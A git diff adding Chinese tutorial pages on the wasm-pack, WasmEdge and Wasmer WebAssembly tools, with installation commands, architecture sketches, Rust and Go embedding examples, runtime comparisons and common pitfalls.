+5. **Rust 版本过老会报错**——wasm-pack 依赖 Rust 工具链。如果 `rustc --version` 低于 1.30，`rustup target add wasm32-unknown-unknown` 会失败。用 `rustup update` 更新到最新稳定版。
+
+## 适用 vs 不适用场景
+
+**适用**：
+- 需要把 Rust 库暴露给 JavaScript 项目用
+- 想要发布 Wasm 模块到 npm registry
+- 前端性能瓶颈需要 Rust 来加速关键计算路径
+- 想在浏览器里跑密码学、图像处理、科学计算等密集型任务
+
+**不适用**：
+- **只是写纯前端 JS/TS 项目**——不需要 Wasm，别硬加
+- **用 Python/Go/Rust 写后端 API**——这场景选 FastAPI / Go HTTP / Actix-web，Wasm 在浏览器端才有价值
+- **需要完整 Rust 全栈**——那选 Leptos / Yew 等 Rust Web 框架，不是 wasm-pack
+
+## 跟它相邻的工具谁选谁
+
+| 工具 | 定位 | 跟 wasm-pack 的关系 |
+|---|---|---|
+| `wasm-bindgen` | Rust → JS 的类型/函数胶水层 | wasm-pack 的内核之一，负责翻译 |
+| `cargo-generate` | 用模板快速生成 Rust 项目 | 配合用：`cargo generate rustwasm/wasm-pack-template` |
+| `webpack / vite` | JavaScript 打包器 | 配合用：wasm-pack 输出产物后交给它们继续打包 |
+| `wasmtime` | 独立的 Wasm 运行时（服务端） | 不同方向：wasm-pack 做前端分发，wasmtime 做服务端执行 |
+| `wasm-bindgen-cli` | 单独的胶水代码生成 CLI | wasm-pack 内置了这个功能，不需要单独装 |
+
+## 历史小故事（可跳过）
+
+- **2018**：wasm-pack 首次发布，作者是 Ashley Williams，目标是简化 Rust → Wasm 的打包流程
+- **2019-2021**：配合 WebAssembly 生态爆发（Leptos、Yew、WebGPU 提案），wasm-pack 成为 Rust WASM 团队官方推荐工具
+- **2026**：wasm-pack v0.15 发布，支持 Node.js 22+ 的新模块加载方式，持续跟进 Web 平台演进
+
+## 学到什么
+
+1. **"自动处理 boring 部分"是工具最大的价值**——编译 Wasm 本身不难，难的是后续的胶水代码、文件打包、npm 兼容、类型声明这些琐碎事。wasm-pack 把 80% 的琐碎事做了，你只写 20% 的核心逻辑。
+
+2. **wasm-bindgen 不是编译器的功能，是后处理**——Rust 编译器本身不知道 Wasm 是什么，wasm-bindgen 是在 `.wasm` 生成之后再做一层"翻译包装"。理解这一点就明白为什么 Rust 代码不需要改编译器就能跑 Wasm。
+
+3. **`target` 模式本质上是"目标环境契约"**——不同环境对模块加载、文件路径、格式的要求不同。一个 `--target` 参数背后是整套构建规则的切换，选对了才能正确运行。
+
+4. **Wasm 不是万能的——它是"性能放大器"**——JS 写得好的场景不需要 Wasm；只有在计算密集、需要复用现有 Rust 库、或需要 SIMD/并行优势时，Wasm 才有明显价值。
+
+## 延伸阅读
+
+- 官方文档：[wasm-bindgen.github.io/wasm-pack/book](https://wasm-bindgen.github.io/wasm-pack/book/)（完整的命令参考和教程）
+- Quickstart：[官方快速入门](https://wasm-bindgen.github.io/wasm-pack/book/quickstart.html)（从零到 npm 发布）
+- 源码入口：[github.com/rustwasm/wasm-pack](https://github.com/rustwasm/wasm-pack)，从 `src/` 目录看 Rust 实现的 CLI 架构
+- 配套工具：[wasm-bindgen 文档](https://rustwasm.github.io/wasm-bindgen/)（理解胶水代码怎么生成）
+
+## 关联
+
+- [[wasm-bindgen]] —— Rust 和 JS 之间的翻译层，wasm-pack 的核心依赖
+- [[wasmtime]] —— 服务端的 Wasm 运行时，跟 wasm-pack 的浏览器方向互补
+- [[tinygo]] —— Go 编译成 Wasm 的工具，跟 wasm-pack 是平行生态
+- [[wazero]] —— Go 的纯 Wasm 运行时，不依赖系统组件
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
diff --git a/src/content/docs/projects/wasmedge.md b/src/content/docs/projects/wasmedge.md
new file mode 100644
index 000000000..5c839169f
--- /dev/null
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@@ -0,0 +1,312 @@
+---
+title: WasmEdge — 云原生 wasm 运行时
+description: CNCF 沙盒项目，面向边缘与 Kubernetes 的轻量 WebAssembly 运行时，扩展网络、AI 推理与数据库等云原生能力
+来源: 'https://github.com/WasmEdge/WasmEdge'
+日期: 2026-06-13
+子分类: 语言运行时
+分类: 编译器
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 日常类比：比 Docker 更轻的「密封餐盒」
+
+想象你在 Kubernetes 集群里跑微服务。传统做法是：每个服务一个 **Linux 容器**——里面塞完整发行版、glibc、shell、几十 MB 基础镜像，启动时要先「点火整台小厨房」，再端菜。
+
+**WebAssembly + WasmEdge** 换了一种打包方式：业务逻辑编译成 **`.wasm` 字节码**，像一份**真空密封餐盒**——只有菜和说明书（导出函数），没有附带整间厨房。WasmEdge 是云原生场景里的**万能加热台**：加热快（冷启动毫秒级）、占地小（镜像可只有几百 KB）、还能选配「插座」（网络 socket）、「调料机」（TensorFlow / GGML 推理）、「外卖柜接口」（MySQL / KV 存储）等扩展。
+
+和浏览器里跑网页的 Wasm 不同，WasmEdge 由 **CNCF 沙盒项目**维护，主打 **serverless、边缘节点、服务网格 sidecar、Dapr 微服务**——与 Docker、containerd、Kubernetes 深度集成，让 wasm 容器与 Linux 容器**并排跑在同一套编排里**。
+
+## 是什么
+
+**WasmEdge** 是用 C++ 编写的高性能 WebAssembly 运行时，由 Second State 发起并捐赠给 CNCF。它不只是「执行 wasm 指令」的虚拟机，还在标准 **WASI** 之上提供一批**云原生扩展**：
+
+| 能力 | 说明 |
+|------|------|
+| **CLI 运行时** | `wasmedge` 执行 wasm；`wasmedgec` 做 AOT 预编译 |
+| **WASI 实现** | 文件、环境变量、时钟等沙箱系统接口 |
+| **网络扩展** | 非阻塞 socket、HTTP 服务（Rust / C SDK） |
+| **数据与 AI** | MySQL 驱动、KV、WASI-NN（TensorFlow / GGML / Piper 等） |
+| **JavaScript** | 通过 WasmEdge-QuickJS 跑 Node 风格 JS、NPM、React SSR |
+| **嵌入 SDK** | C / Go / Rust / Node.js / Python 等宿主绑定 |
+| **容器编排** | OCI wasm 镜像、`wasi/wasm` 平台、Docker Desktop + Wasm |
+
+一句话定位：**Wasmtime 偏规范与通用嵌入；WasmEdge 偏「能直接上 K8s 的云原生 wasm 运行时」。** 对照阅读：[[wasmtime]]、[[wasmer]]、[[wamr]]。
+
+## 为什么重要
+
+1. **镜像与启动成本**：官方示例中，纯 wasm 的 OCI 镜像可 ~500KB，约为同类 Linux 容器的 1/10 体积、1/10 冷启动时间量级（视模块与 AOT 而定）。
+2. **安全沙箱**：线性内存隔离 + 能力式 WASI（默认无文件/网络，需显式 `--dir` / 授权）。
+3. **与现有云原生栈融合**：通过 **crun** 或 **containerd-shim（runwasi）**，Pod 里可同时调度 `linux/amd64` 与 `wasi/wasm` 工作负载。
+4. **边缘与 AI**：在树莓派、OpenHarmony、seL4 等环境跑推理插件（`wasi_nn-ggml`），适合「靠近数据」的轻量推理。
+5. **多语言一次编译**：Rust、C/C++、Go（TinyGo）、AssemblyScript 等编译到 `wasm32-wasi`，同一产物多平台执行。
+
+## 核心概念
+
+### 1. 执行流水线
+
+```text
+  源码 (Rust/C/Go/…) 
+       │  wasm32-wasi 工具链
+       ▼
+   hello.wasm  ──► wasmedge hello.wasm     （解释 / 即时编译）
+       │
+       └──► wasmedgec hello.wasm hello_aot.wasm  （AOT，生产常用）
+                 │
+                 ▼
+            wasmedge hello_aot.wasm   （接近原生速度，冷启动更快）
+```
+
+- **解释路径**：改完即跑，适合开发调试。
+- **AOT（Ahead-of-Time）**：`wasmedgec` 把 wasm 编译成本地机器码封装在 wasm 容器格式里，适合 Serverless 与边缘量产。
+
+### 2. WASI 与云原生扩展
+
+**WASI** 定义 guest 如何访问「类操作系统」能力（文件、随机数、环境变量）。WasmEdge 完整实现 WASI，并额外提供：
+
+- **wasi_socket**：TCP/UDP，写微服务 HTTP server 不必再套一层 Linux 容器。
+- **wasi_nn**：加载 ONNX / GGML 等模型做推理（需安装对应 plugin）。
+- **wasi_logging**：Rust `log` crate 编译进 wasm 后可在宿主侧统一收集。
+- **WasmEdge-bindgen**：简化 Rust ↔ 宿主之间复杂结构体传递。
+
+扩展以 **动态插件** 形式安装在 `$HOME/.wasmedge/plugin`（或系统目录），安装时可 `--plugins wasi_nn-ggml,wasi_logging` 一并拉取。
+
+### 3. 容器与 Kubernetes 集成
+
+两种主流挂载方式：
+
+| 方式 | 机制 | 谁在用 |
+|------|------|--------|
+| **crun** | 读 OCI 镜像 annotation，wasm 镜像走 WasmEdge，否则走 runc | CRI-O、Podman、部分 k8s 发行版 |
+| **containerd + runwasi** | 按镜像 `platform: wasi/wasm` 选 shim | Docker Desktop + Wasm、containerd |
+
+Docker 运行 wasm 容器典型参数：
+
+```bash
+docker run --rm \
+  --runtime=io.containerd.wasmedge.v1 \
+  --platform=wasi/wasm \
+  secondstate/rust-example-hello:latest
+```
+
+镜像里往往只有 `.wasm` + 极少元数据（`FROM scratch` 风格），没有 Ubuntu/Alpine 层。
+
+### 4. JavaScript 运行时（WasmEdge-QuickJS）
+
+**wasmedge_quickjs.wasm** 把 QuickJS 引擎本身编成 wasm，再在里面跑 `server.js`——得到**可容器化的 Node 子集**：ES Module、部分 NPM、Fetch、React SSR 等，体积远小于完整 Node 容器。适合「只要 HTTP + 一点 JS」的边缘函数。
+
+### 5. 嵌入宿主应用
+
+除 CLI 外，常见模式是**在 Go/Rust/C 进程里嵌 WasmEdge VM**，动态加载用户插件：
+
+```text
+  宿主进程 (API 网关 / 游戏服务器 / IoT 网关)
+        │
+        ├── WasmEdge VM 实例 A  ──► plugin_auth.wasm
+        ├── WasmEdge VM 实例 B  ──► plugin_transform.wasm
+        └── 统一 WASI 权限 / Gas 计量
+```
+
+Go 侧常用 `github.com/second-state/WasmEdge-go/wasmedge`；Rust 侧有 `wasmedge-sdk` crate。
+
+### 6. 安全与资源控制
+
+- **Gas meter**：限制指令执行量，防止 guest 死循环拖垮节点（多租户 FaaS 场景）。
+- **Capability 模型**：文件系统必须 `--dir host_path:guest_path` 映射；网络需启用 socket 扩展并配置策略。
+- **插件供应链**：只从官方安装脚本或发行版包管理器安装已签名插件，避免随意加载未知 `.so`。
+
+## 架构一图
+
+```text
+                    ┌─────────────────────────────────────┐
+                    │  Kubernetes / Docker / Dapr / Envoy │
+                    └──────────────────┬──────────────────┘
+                                       │
+              ┌────────────────────────┼────────────────────────┐
+              ▼                        ▼                        ▼
+        crun + WasmEdge          containerd-shim            嵌入式 SDK
+              │                        │                   (Go/Rust/C)
+              └────────────────────────┼────────────────────────┘
+                                       ▼
+                              ┌─────────────────┐
+                              │   WasmEdge VM   │
+                              │  ┌───────────┐  │
+                              │  │ wasm 模块 │  │
+                              │  └───────────┘  │
+                              │  WASI + 插件    │
+                              │  socket/nn/db   │
+                              └─────────────────┘
+```
+
+## 安装
+
+```bash
+# 默认安装到 $HOME/.wasmedge
+curl -sSf https://raw.githubusercontent.com/WasmEdge/WasmEdge/master/utils/install.sh | bash
+
+# 系统级 + 指定版本 + AI 插件
+curl -sSf https://raw.githubusercontent.com/WasmEdge/WasmEdge/master/utils/install.sh | \
+  sudo bash -s -- -p /usr/local -v 0.14.1 --plugins wasi_nn-ggml,wasi_logging
+
+# 验证
+wasmedge --version
+wasmedgec --version
+```
+
+Fedora / `winget` 等也可通过发行版包管理器安装，见[官方安装文档](https://wasmedge.org/docs/start/install)。
+
+## 代码示例
+
+### 示例 1：Rust 编译 WASI「Hello World」并用 CLI 运行
+
+`Cargo.toml` 片段：
+
+```toml
+[package]
+name = "hello_wasmedge"
+version = "0.1.0"
+edition = "2021"
+
+[dependencies]
+
+[profile.release]
+lto = true
+opt-level = "s"
+```
+
+`src/main.rs`：
+
+```rust
+fn main() {
+    println!("Hello from WasmEdge on WASI!");
+}
+```
+
+构建与运行（需安装 `rustup target add wasm32-wasi`）：
+
+```bash
+cargo build --target wasm32-wasi --release
+wasmedge target/wasm32-wasi/release/hello_wasmedge.wasm
+# 输出: Hello from WasmEdge on WASI!
+
+# AOT 优化后运行（生产推荐）
+wasmedgec target/wasm32-wasi/release/hello_wasmedge.wasm hello_aot.wasm
+wasmedge hello_aot.wasm
+```
+
+要点：`wasm32-wasi` 目标生成**不依赖 libc 宿主**的纯 wasm；`println!` 走 WASI stdout，无需 Linux 容器。
+
+### 示例 2：Go 宿主嵌入 Wasm 并调用导出函数
+
+以下精简自官方 **WasmEdge-go + bindgen** 流程：Rust 侧编译出 `rust_bindgen_funcs_lib.wasm`，Go 宿主加载并调用 `add` / `say` 等导出。
+
+Go 宿主核心逻辑（示意）：
+
+```go
+package main
+
+import (
+	"fmt"
+	"os"
+
+	"github.com/second-state/WasmEdge-go/wasmedge"
+)
+
+func main() {
+	wasmPath := "rust_bindgen_funcs_lib.wasm"
+	if len(os.Args) > 1 {
+		wasmPath = os.Args[1]
+	}
+
+	// 配置 VM：WASI 等
+	conf := wasmedge.NewConfigure()
+	conf.AddWasmPath(wasmPath)
+
+	vm := wasmedge.NewVMWithConfig(conf)
+	defer vm.Release()
+
+	// 实例化模块
+	vm.LoadWasmFile(wasmPath)
+	vm.Validate()
+	vm.Instantiate()
+
+	// 调用导出函数 add(1, 2)
+	res, err := vm.Execute("add", int32(1), int32(2))
+	if err != nil {
+		panic(err)
+	}
+	fmt.Println("add(1,2) =", res[0].(int32)) // 3
+
+	// bindgen 生成的复杂类型传递见官方 wasmedge-bindgen 示例
+}
+```
+
+配合 AOT：
+
+```bash
+wasmedgec rust_bindgen_funcs_lib.wasm rust_bindgen_funcs_lib_aot.wasm
+go build -o bindgen_demo .
+./bindgen_demo rust_bindgen_funcs_lib_aot.wasm
+```
+
+完整仓库：`https://github.com/second-state/WasmEdge-go-examples`（目录 `wasmedge-bindgen/go_BindgenFuncs`）。**嵌入时 WasmEdge 与语言 SDK 版本必须一致。**
+
+### 示例 3（ bonus）：Docker 跑 wasm HTTP 服务
+
+```bash
+# 拉取官方 Rust HTTP 微服务镜像（约 800KB 量级）
+docker run -d -p 8080:8080 \
+  --runtime=io.containerd.wasmedge.v1 \
+  --platform=wasi/wasm \
+  secondstate/rust-example-server:latest
+
+curl http://127.0.0.1:8080/
+```
+
+Compose 里可为 wasm 服务声明 `platform: wasi/wasm`，与 MySQL、Nginx 等 Linux 服务同文件编排——见官方 **WasmEdge / MySQL / Nginx** 示例栈。
+
+## 与同类运行时对比
+
+| 维度 | WasmEdge | Wasmtime | Wasmer | WAMR |
+|------|----------|----------|--------|------|
+| 主要语言 | C++ | Rust | Rust | C |
+| CNCF | 沙盒项目 | Bytecode Alliance | 商业+开源 | BA 生态 |
+| K8s/Docker 一等公民 | 强（OCI wasm） | 通过 runwasi 等 | WebC/Edge | 偏 MCU/RTOS |
+| 云原生扩展 | socket、NN、DB 插件 | 规范向、组件模型 | WASIX、Registry | 极简可裁剪 |
+| JS 运行时 | QuickJS in wasm | 需外接 | 部分场景 | 一般不涉及 |
+
+选型建议：**要上 Docker/K8s wasm 容器、边缘 AI、QuickJS 微服务** 优先摸 WasmEdge；**要深度嵌入 Rust 应用、跟进 Component Model** 看 Wasmtime；**要 WASIX 跑 PHP/Python 包** 看 Wasmer；**要 64KB RAM 的 MCU** 看 WAMR。
+
+## 典型工作流
+
+1. **本地验证**：`wasmedge app.wasm`，挂载目录 `--dir .:.`。
+2. **性能固化**：`wasmedgec` 生成 AOT 产物，纳入 CI  artifact。
+3. **打 OCI 镜像**：多阶段 Dockerfile，`FROM scratch` 只 COPY `.wasm` + `ENTRYPOINT ["wasmedge", "..."]`。
+4. **编排**：K8s Deployment 指定 `runtimeClassName` / containerd shim；或 Docker Compose `platform: wasi/wasm`。
+5. **可观测**：启用 `wasi_logging` 插件，把 guest 日志接到宿主日志管线。
+
+## 常见坑
+
+- **权限**：忘记 `--dir` 导致 WASI 打不开配置文件；生产用最小挂载原则。
+- **版本错位**：Go/Rust SDK 与 `wasmedge` 二进制版本不一致会莫名崩溃——安装脚本加 `-v` 锁版本。
+- **插件未装**：调用 WASI-NN 报找不到符号——重装 `--plugins wasi_nn-ggml` 并检查 GPU/CPU 后端文档。
+- **Docker 未开 containerd**：Desktop 需打开 **containerd image store**，并用 WasmEdge runtime。
+- **把 wasm 当完整 Linux**：无 `fork`、无任意 syscall；复杂遗留应用需评估 WASIX 类扩展或继续用容器。
+
+## 学习路径（零基础）
+
+1. 用安装脚本装好 CLI，跑官方 `rust-example-hello`（本地 wasm 或 Docker 二选一）。
+2. 读 [Quick Start](https://wasmedge.org/docs/start/getting-started/quick_start)：独立程序 → HTTP server → JS server 三条线。
+3. 自己用 Rust 或 C 写 `wasm32-wasi` 小程序，练习 `wasmedge` / `wasmedgec`。
+4. 跟一篇 **Docker + Wasm** 文档，把同一程序打进 `wasi/wasm` 镜像。
+5. 若有 Go 技术栈，跑通 **WasmEdge-go-examples** 嵌入调用。
+6. 需要推理时，单独读 **WASI-NN GGML** 插件章节，在边缘设备上跑小模型 demo。
+
+## 参考链接
+
+- 仓库：<https://github.com/WasmEdge/WasmEdge>
+- 文档：<https://wasmedge.org/docs>
+- 特性总览：<https://wasmedge.org/docs/start/wasmedge/features/>
+- Docker Wasm：<https://wasmedge.org/docs/start/build-and-run/docker_wasm>
+- 安装与插件：<https://wasmedge.org/docs/start/install>
+- Go 嵌入示例：<https://github.com/second-state/WasmEdge-go-examples>
diff --git a/src/content/docs/projects/wasmer.md b/src/content/docs/projects/wasmer.md
new file mode 100644
index 000000000..a9124adc3
--- /dev/null
+++ b/src/content/docs/projects/wasmer.md
@@ -0,0 +1,276 @@
+---
+title: Wasmer — 跨平台 WebAssembly 运行时
+description: 多后端 JIT/AOT、WASIX 与 WebC 打包的 wasm 运行时，面向边缘与容器场景
+来源: 'https://github.com/wasmerio/wasmer'
+日期: 2026-06-13
+子分类: 语言运行时
+分类: 编译器
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Wasmer** 是用 Rust 写的跨平台 WebAssembly 运行时：把 `.wasm` 字节码编译或解释成可在 Linux、macOS、Windows、iOS、Android 乃至浏览器里执行的本地程序。它不只是「跑 wasm 的虚拟机」，还围绕 **WASIX**（类 POSIX 系统调用）、**WebC 容器格式** 和 **Wasmer Registry** 搭了一整套「把 wasm 当轻量容器」的工具链。
+
+日常类比：如果把 WebAssembly 模块比作一份**密封好的外卖餐盒**（字节码 + 明确接口），那 Wasmer 就是城市里连锁的**万能加热柜**——同一盒餐可以在便利店（Linux 服务器）、办公室（macOS 开发机）、甚至手机（V8 后端）里加热上桌；你还能选「微波炉」（Cranelift，快）、「电磁炉精煮」（LLVM，接近原生速度）或「保温慢炖」（Singlepass，编译极快、适合沙箱）。Wasmtime 像另一家同样靠谱的连锁；Wasmer 更强调**多后端可切换**、**WASIX 跑完整语言运行时（Python/PHP）** 和 **Edge 部署**。
+
+典型学习路径：安装 CLI → `wasmer run` 跑 Registry 包 → Rust 嵌入 API → 理解 Engine/Store/Module → 对照 WASIX 与 WebC。
+
+## 为什么重要
+
+- **跨平台一次编译、到处跑**：同一份 wasm 可在 x86_64、ARM64、RISC-V 等架构上由 Wasmer 加载，适合插件、沙箱、Serverless。
+- **多编译后端可按场景选型**：开发用 Cranelift，追求极致性能用 LLVM，需要 iOS 合规解释执行用 V8/Wasmi。
+- **WASIX 扩展 WASI**：让 CPython、PHP 等依赖 `fork`/`socket`/`pthread` 的程序有机会在 wasm 里跑，而不只是纯计算型 guest。
+- **与 Wasmtime 形成对照**：读 Bytecode Alliance 路线的同时，理解 Wasmer 在容器化、Registry、Edge 上的产品化路径（参见 [[wasmtime]]、[[wazero]]）。
+
+## 核心概念
+
+### 1. 运行时对象模型（与 Wasmtime 类似）
+
+Wasmer 的嵌入 API 围绕四个核心类型组织：
+
+```
+Engine（编译器 + 运行时配置，可全局复用）
+  └── Store（单次执行的隔离状态：内存、表、宿主数据）
+        ├── Module（已编译/反序列化的 wasm 模块，线程安全可共享）
+        └── Instance（模块实例 + 与宿主 Import 绑定的函数）
+```
+
+- **Engine**：选择后端（`Cranelift`、`LLVM`、`Singlepass`、`V8` 等），配置优化级别、CPU 特性、是否启用 metering。
+- **Store**：所有 wasm 对象的生命周期都挂在某个 Store 上；跨线程通常需要每线程一个 Store，Module 用 `Arc` 共享。
+- **Module**：可从 `.wasm` 字节码编译，也可从 **headless 序列化产物**（`.wasmu` 等）快速反序列化，跳过重复编译。
+- **Instance**：把 guest 的 `import` 接到宿主提供的函数（例如 `env::log`、WASI 实现）。
+
+### 2. 多后端（Compiler / Runtime）
+
+Wasmer 的差异化能力之一是**同一二进制可嵌入多种后端**（Wasmer 6.0+），CLI 也可运行时切换：
+
+| 后端 | 特点 | 典型场景 |
+|------|------|----------|
+| **Cranelift** | 编译快，性能良好 | 默认开发、通用服务 |
+| **LLVM** | 接近原生速度，支持 Wasm 异常 | 生产 PHP/Python、CPU 密集 |
+| **Singlepass** | 单次扫描编译，适合沙箱 | 不可信代码、快速启动 |
+| **V8** | 适合 iOS/Android，JIT 受限平台 | 移动端嵌入 |
+| **WAMR / Wasmi** | 解释器类后端 | 极小体积、禁止 JIT 的环境 |
+
+CLI 示例：`wasmer run app.wasm --llvm` 或 `--cranelift` 在运行时选编译器。
+
+### 3. WASI 与 WASIX
+
+- **WASI**：WebAssembly 的标准系统接口（文件、时钟、随机数等），Wasmer 完整实现，guest 默认无权限，需显式授权目录。
+- **WASIX**：Wasmer 主导的 POSIX 超集扩展——`fork`/`exec` 风格进程、`socket`、`poll`、线程等，使 **CPython、PHP、Node 风格** 运行时能移植进 wasm。Wasmer 7 起 WASIX 支持**动态链接**，可加载 `.so` 风格的 wasm 侧原生库。
+
+### 4. WebC 与 Registry
+
+- **WebC**：把 wasm 模块、文件系统镜像、元数据打成一个**容器包**，类似 Docker 镜像但面向 wasm。
+- **Wasmer Registry**（`wasmer.io`）：发布与拉取包，例如 `wasmer run python/python@3.12`，无需本地安装 Python。
+
+### 5. 安全与资源控制
+
+- **Metering（Gas）**：可对指令计费，超限中断，适合多租户沙箱。
+- **编译缓存**：已编译模块落盘，二次启动接近 AOT 冷启动。
+- **沙箱默认**：线性内存边界检查；WASI 能力需白名单挂载目录（`--dir`）。
+
+## 架构一图
+
+```text
+  开发者                    Wasmer CLI / 嵌入 API
+     │                              │
+     ▼                              ▼
+ .wasm / .wat  ──►  Engine ──► Compiler backend
+     │              (Cranelift/LLVM/…)      │
+     │                                      ▼
+ WebC 包 ──► unpack ──► Module ──► Instance + Store
+     │                              │
+     │                              ├── WASI / WASIX 宿主实现
+     │                              └── Import 函数（日志、DB…）
+     ▼
+  Wasmer Edge / 本地进程 / 浏览器（wasmer-js）
+```
+
+## 性能与规格（量级参考）
+
+| 场景 | 量级 | 说明 |
+|------|------|------|
+| Cranelift 小模块冷启动 | 数十 ms | 含编译；启用磁盘缓存后显著下降 |
+| LLVM 执行效率 | 接近原生 ~90%+ | 视工作负载；PHP 等受益于 Wasm 异常（6.0+） |
+| Registry 拉取 Python 并执行 | 首次较慢 | 之后本地有 WebC/缓存 |
+| iOS 上 V8 后端 | 解释/JIT 视平台策略 | 规避 App Store 对 JIT 的限制 |
+
+具体数字随版本与模块大小变化，以官方 benchmark 与 release note 为准。
+
+## 代码示例
+
+### 示例 1：Rust 嵌入 — 编译 WAT 并调用导出函数
+
+```rust
+use wasmer::{imports, Instance, Module, Store, Value};
+
+fn main() -> anyhow::Result<()> {
+  // 默认 Engine 通常启用 Cranelift（feature 可换 llvm、singlepass）
+  let mut store = Store::default();
+
+  let wat = r#"
+    (module
+      (func $add (export "add") (param i32 i32) (result i32)
+        local.get 0
+        local.get 1
+        i32.add))
+  "#;
+
+  let module = Module::new(&store, wat)?;
+  let import_object = imports! {};
+  let instance = Instance::new(&mut store, &module, &import_object)?;
+
+  let add = instance.exports.get_function("add")?;
+  let result = add.call(&mut store, &[Value::I32(40), Value::I32(2)])?;
+  println!("40 + 2 = {:?}", result[0]); // I32(42)
+
+  Ok(())
+}
+```
+
+`Cargo.toml` 依赖示例：
+
+```toml
+[dependencies]
+wasmer = "6.0"
+anyhow = "1"
+```
+
+需要 LLVM 时：`wasmer = { version = "6.0", features = ["llvm"] }`，并在代码里用 `wasmer::sys::EngineBuilder::new().engine()` 等 API 选后端（具体以当前版本文档为准）。
+
+### 示例 2：CLI — Registry、WASI 目录挂载与后端切换
+
+```bash
+# 安装（版本号以官网为准）
+curl https://get.wasmer.io -sSfL | sh
+
+# 从 Registry 运行 Python，执行一行代码
+wasmer run python/python@3.12 -- -c "print(sum(range(10)))"
+
+# 运行本地 WASI 模块，挂载当前目录为 guest 的 /sandbox
+wasmer run --dir=.:/sandbox mytool.wasm -- --input /sandbox/data.txt
+
+# 指定 LLVM 后端（需安装带 llvm feature 的 wasmer）
+wasmer run --llvm heavy_compute.wasm
+
+# 查看已安装后端与版本
+wasmer --version
+wasmer config         
+```
+
+### 示例 3（可选）：宿主向 guest 注入函数
+
+```rust
+use wasmer::{imports, Function, Instance, Module, Store, Value};
+
+fn host_log(args: &[Value]) -> anyhow::Result<Vec<Value>> {
+  println!("[guest] {}", args[0].unwrap_i32());
+  Ok(vec![])
+}
+
+fn main() -> anyhow::Result<()> {
+  let mut store = Store::default();
+  let module = Module::from_file(&store, "plugin.wasm")?;
+
+  let import_object = imports! {
+    "env" => {
+      "log" => Function::new_typed(&mut store, host_log),
+    },
+  };
+
+  let instance = Instance::new(&mut store, &module, &import_object)?;
+  let run = instance.exports.get_function("run")?;
+  run.call(&mut store, &[])?;
+  Ok(())
+}
+```
+
+guest 侧需 `(import "env" "log" (func $log (param i32)))` 与宿主签名一致。
+
+## 与 Wasmtime 的快速对照
+
+| 维度 | Wasmer | Wasmtime |
+|------|--------|----------|
+| 主导生态 | Wasmer Inc.、WASIX、Registry | Bytecode Alliance、Component Model |
+| 编译后端 | 多后端可同包、运行时切换 | 主要 Cranelift + Winch |
+| 容器叙事 | WebC + `wasmer run` 包 | `wasmtime run` + Wizer 等工具链 |
+| 移动端 | V8 后端成熟 | 侧重服务器/嵌入 |
+| 学习资料 | docs.wasmer.io、Registry 示例 | docs.wasmtime.org、Bytecode Alliance 博客 |
+
+两者都是优秀的运行时，选型常取决于团队已有工具链、是否需要 WASIX/Registry、以及是否与 Bytecode Alliance 其他 crate 深度集成。
+
+## 实践案例
+
+### 案例 1：零依赖体验 Python
+
+```bash
+wasmer run python/python@3.12 -- -c "import json; print(json.dumps({'ok': True}))"
+```
+
+观察首次下载 WebC 与二次运行的启动差异，理解 Registry + 缓存的价值。
+
+### 案例 2：用 WASI 跑本地工具 wasm
+
+用 [wasmedge/wasi-sdk](https://github.com/WebAssembly/wasi-sdk) 或 Rust `wasm32-wasip1` 目标编译 CLI，再用 `wasmer run --dir=...` 挂载输入输出目录，验证沙箱文件访问。
+
+### 案例 3：与邻居项目对照
+
+- 对照 [[wasmtime]]：同一 WAT 加法模块，比较 API 命名与 `Store` 用法。
+- 对照 [[wazero]]（Go）：若你在 Go 服务里嵌 wasm，Wasmer 更适合 Rust 栈或 CLI 统一分发。
+
+## 踩过的坑
+
+1. **Feature 与后端不匹配**：Cargo 未开 `llvm` 却调用 LLVM Engine 会链接失败；CLI 的 `--llvm` 需要对应构建。
+2. **WASI 与 WASIX 混用**：为 WASIX 编译的 PHP/Python 包不能指望在只实现 WASI Preview 1 的极简宿主上跑。
+3. **Import 签名不一致**：宿主 `Function::new_*` 与 guest import 类型不对会在实例化时失败，错误信息需对照 wasm 导出表。
+4. **Store 线程模型**：勿跨线程共享同一 `Store`；多线程用每线程 Store + 共享 `Module`。
+5. **路径与 `--dir` 映射**：WASI 路径是 guest 视角；忘记挂载会导致 `ENOENT`。
+6. **体积与编译时间**：默认带多后端的全功能 `wasmer` 二进制较大；嵌入项目用 `default-features = false` 只开需要后端。
+
+## 适用 vs 不适用
+
+**适用**：
+
+- 需要**跨 OS/架构**分发插件或用户脚本（游戏 Mod、低代码沙箱）。
+- 想用 **Registry/WebC** 分发语言运行时，避免传统容器镜像体积。
+- Rust 服务内嵌 wasm，且希望**按负载切换 LLVM/Cranelift**。
+- 学习 **WASIX** 如何把 POSIX 程序搬进 wasm。
+
+**不适用**：
+
+- 已深度绑定 Wasmtime + Component Model 的整条工具链，迁移成本高。
+- 仅需浏览器内 wasm（直接用 Web API 或 wasm-bindgen 即可，不必上完整 Wasmer）。
+- 强依赖内核特性、完整 Linux 容器语义的场景（wasm 沙箱仍有 syscall 子集限制）。
+
+## 学到什么
+
+- WebAssembly 运行时 = **编译器后端 + VM + 系统接口实现**；换后端往往比换整个框架容易。
+- **能力安全**（capability-based）是默认：能读哪些目录、有哪些环境变量，都要在实例化前声明。
+- 产品化路径（Registry、WebC、Edge）与纯开源运行时同样重要，决定你能否「一条命令跑 Python」。
+- 与 [[wasmtime]] 对照读，能更快理解 wasm 生态的**标准部分**与**扩展部分**。
+
+## 延伸阅读
+
+- 官方仓库：https://github.com/wasmerio/wasmer
+- 文档：https://docs.wasmer.io
+- Wasmer 6.0 发布公告（LLVM、多后端、Wasm 异常）：https://wasmer.io/posts/announcing-wasmer-6-closer-to-native-speeds
+- Wasmer 7.0（Async API、WASIX 动态链接）：https://wasmer.io/posts/wasmer-7
+
+## 关联
+
+- [[wasmtime]] — Bytecode Alliance 旗舰运行时，对照学习
+- [[wazero]] — Go 语言零依赖 wasm 运行时
+- [[wasmtime]] / [[quickjs]] — 不同层次的「嵌入执行引擎」
+- [[tauri]] — 桌面应用；wasm 插件常与本类运行时一起出现
+
+## 维护备注
+
+- 合并后运行 `npm run atlas` 刷新反向链接。
+- 版本号以安装时 `wasmer --version` 为准；API 在 5.x→6.x 曾有 `wasmer::sys` 命名空间调整，以 CHANGELOG 为准。
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
